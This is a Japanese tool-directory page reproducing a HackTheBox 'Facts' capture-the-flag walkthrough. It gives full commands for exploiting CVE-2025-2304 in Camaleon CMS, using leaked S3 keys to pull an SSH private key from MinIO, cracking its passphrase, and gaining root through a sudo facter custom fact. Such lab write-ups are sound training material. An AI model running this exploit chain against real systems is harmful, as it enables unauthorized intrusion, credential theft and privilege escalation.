Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
HTB-Facts-Writeup — HackTheBox Facts マシンの writeup — CVE-2025-2304、MinIO S3 列挙、SSH 鍵クラッキング、facter 権限昇格。 | Kitploit
ツール/GitHubGitHub/karimelsheikh1/htb-facts-writeup
パスワードクラッキング特権昇格偵察脆弱性分析エクスプロイトウェブアプリケーション悪用CTFペネトレーションテストクラウドセキュリティ学習と教育
GitHubkarimelsheikh1/htb-facts-writeup

HTB-Facts-Writeup

3ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

HackTheBox Facts マシンの writeup — CVE-2025-2304、MinIO S3 列挙、SSH 鍵クラッキング、facter 権限昇格。

リポジトリを見る

HackTheBox — Facts マシン攻略記

HackTheBox Difficulty OS

マシン情報

項目詳細
名前Facts
OSLinux
難易度Easy
リリースSeason 10
廃止いいえ

攻撃チェーン概要

root@kitploit:~
Recon → Web Enumeration → CVE-2025-2304 (Mass Assignment) → S3/MinIO Credential Leak → SSH Key Extraction → Passphrase Cracking → User Shell → facter Sudo Abuse → Root

使用ツール


偵察

ポートスキャン

root@kitploit:~
sudo nmap -p- --min-rate 5000 -T4 <TARGET_IP> -oN ports.nmap
sudo nmap -sV -sC -p 22,80,54321 <TARGET_IP>

結果:

root@kitploit:~
22/tcp    open  ssh     OpenSSH 9.9p1 Ubuntu
80/tcp    open  http    nginx 1.26.3 (Camaleon CMS)
54321/tcp open  http    MinIO S3 Server
root@kitploit:~
echo "<TARGET_IP> facts.htb" | sudo tee -a /etc/hosts

Web列挙

root@kitploit:~
feroxbuster -u http://facts.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -t 40
curl -s http://facts.htb/robots.txt
curl -s http://facts.htb/sitemap.xml

主な発見事項:

  • 特定されたCMS: Camaleon CMS 2.9.0
  • 管理パネル: http://facts.htb/admin/login
  • 登録ページ: http://facts.htb/admin/register

初期アクセス

ステップ1 — アカウント登録

http://facts.htb/admin/register にアクセスし、アカウントを作成します。キャプチャがあるのでブラウザ経由で登録してください。

ステップ2 — CVE-2025-2304(Mass Assignment による権限昇格)

updated_ajax エンドポイントは permit! を使用しており、role を含むすべてのパラメータが更新可能です。

root@kitploit:~
git clone https://github.com/Alien0ne/CVE-2025-2304
cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U <username> -P <password> -e

出力:

root@kitploit:~
[+] ログイン確認完了
    現在のユーザーロール: client
[+] ユーザーロールを admin に更新
[+] S3認証情報を抽出中
    s3 access key: AKIAA5CA83CCFE35CD69
    s3 secret key: zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n
    s3 endpoint:   http://localhost:54321

クラウド列挙 — MinIO S3

ポート54321でMinIO S3互換サーバーが動作しています。漏洩した認証情報を使用します。

root@kitploit:~
import boto3
from botocore.client import Config

s3 = boto3.client(
    's3',
    endpoint_url='http://facts.htb:54321',
    aws_access_key_id='AKIAA5CA83CCFE35CD69',
    aws_secret_access_key='zOCRxURBa6wha6rksxj6kCmwvdAQNYX6NPw2o2+n',
    config=Config(signature_version='s3v4'),
    region_name='us-east-1'
)

paginator = s3.get_paginator('list_objects_v2')
for page in paginator.paginate(Bucket='internal'):
    for o in page.get('Contents', []):
        if 'info-etags' not in o['Key']:
            print(o['Key'])
            s3.download_file('internal', o['Key'], '/tmp/' + o['Key'].replace('/', '_'))

見つかった主要ファイル:

root@kitploit:~
.ssh/authorized_keys
.ssh/id_ed25519          ← SSH秘密鍵
.profile
.bashrc

SSH鍵のクラック

root@kitploit:~
chmod 600 /tmp/.ssh_id_ed25519
ssh2john /tmp/.ssh_id_ed25519 > ssh.hash
john ssh.hash --wordlist=/usr/share/wordlists/rockyou.txt

クラックされたパスフレーズ: dragonballz


ユーザーシェル

root@kitploit:~
ssh -i /tmp/.ssh_id_ed25519 [email protected]
# パスフレーズを入力: dragonballz
root@kitploit:~
cat /home/william/user.txt

権限昇格

列挙

root@kitploit:~
sudo -l
root@kitploit:~
(ALL) NOPASSWD: /usr/bin/facter

悪用 — facter カスタムファクト(Rubyコード実行)

Facter はカスタムファクトをRubyスクリプトとして読み込みます。パスワードなしでrootとして実行できるため、任意のRubyコードを注入します。

root@kitploit:~
mkdir -p /tmp/facts
cat > /tmp/facts/pwn.rb << 'EOF'
Facter.add(:pwn) do
  setcode do
    exec("/bin/bash -p")
  end
end
EOF

sudo facter --custom-dir=/tmp/facts pwn

Rootシェル取得成功!

root@kitploit:~
whoami   # root
cat /root/root.txt

主な教訓

  • Mass Assignment の脆弱性により、入力が適切にフィルタリングされていない場合に権限昇格が可能
  • 設定ミスのあるS3/MinIOバケットは、SSH秘密鍵を含む機密ファイルを露出させる可能性がある
  • SSH鍵の弱いパスフレーズはrockyouのような一般的な辞書でクラックされる可能性がある
  • NOPASSWDのsudoバイナリは常に悪用の可能性を調査すべき
  • 小さな設定ミスの連鎖がシステム全体の侵害につながる可能性がある

参考

  • CVE-2025-2304 — Camaleon CMS Mass Assignment
  • GTFOBins — facter
  • HackTheBox

この攻略記は教育目的のみです。セキュリティテストは必ず自分が所有するか、明示的な許可を得たシステムに対してのみ実施してください。

ツールをダウンロード
ツール目的
Nmapポートスキャンとサービス検出
FeroxbusterWebディレクトリ列挙
CVE-2025-2304 PoCCamaleon CMSの権限昇格
boto3 (Python)MinIO/S3列挙とファイルダウンロード
ssh2johnSSH鍵のクラック可能なハッシュへの変換
John the RipperSSH鍵パスフレーズのクラック
factersudoの設定ミスによる権限昇格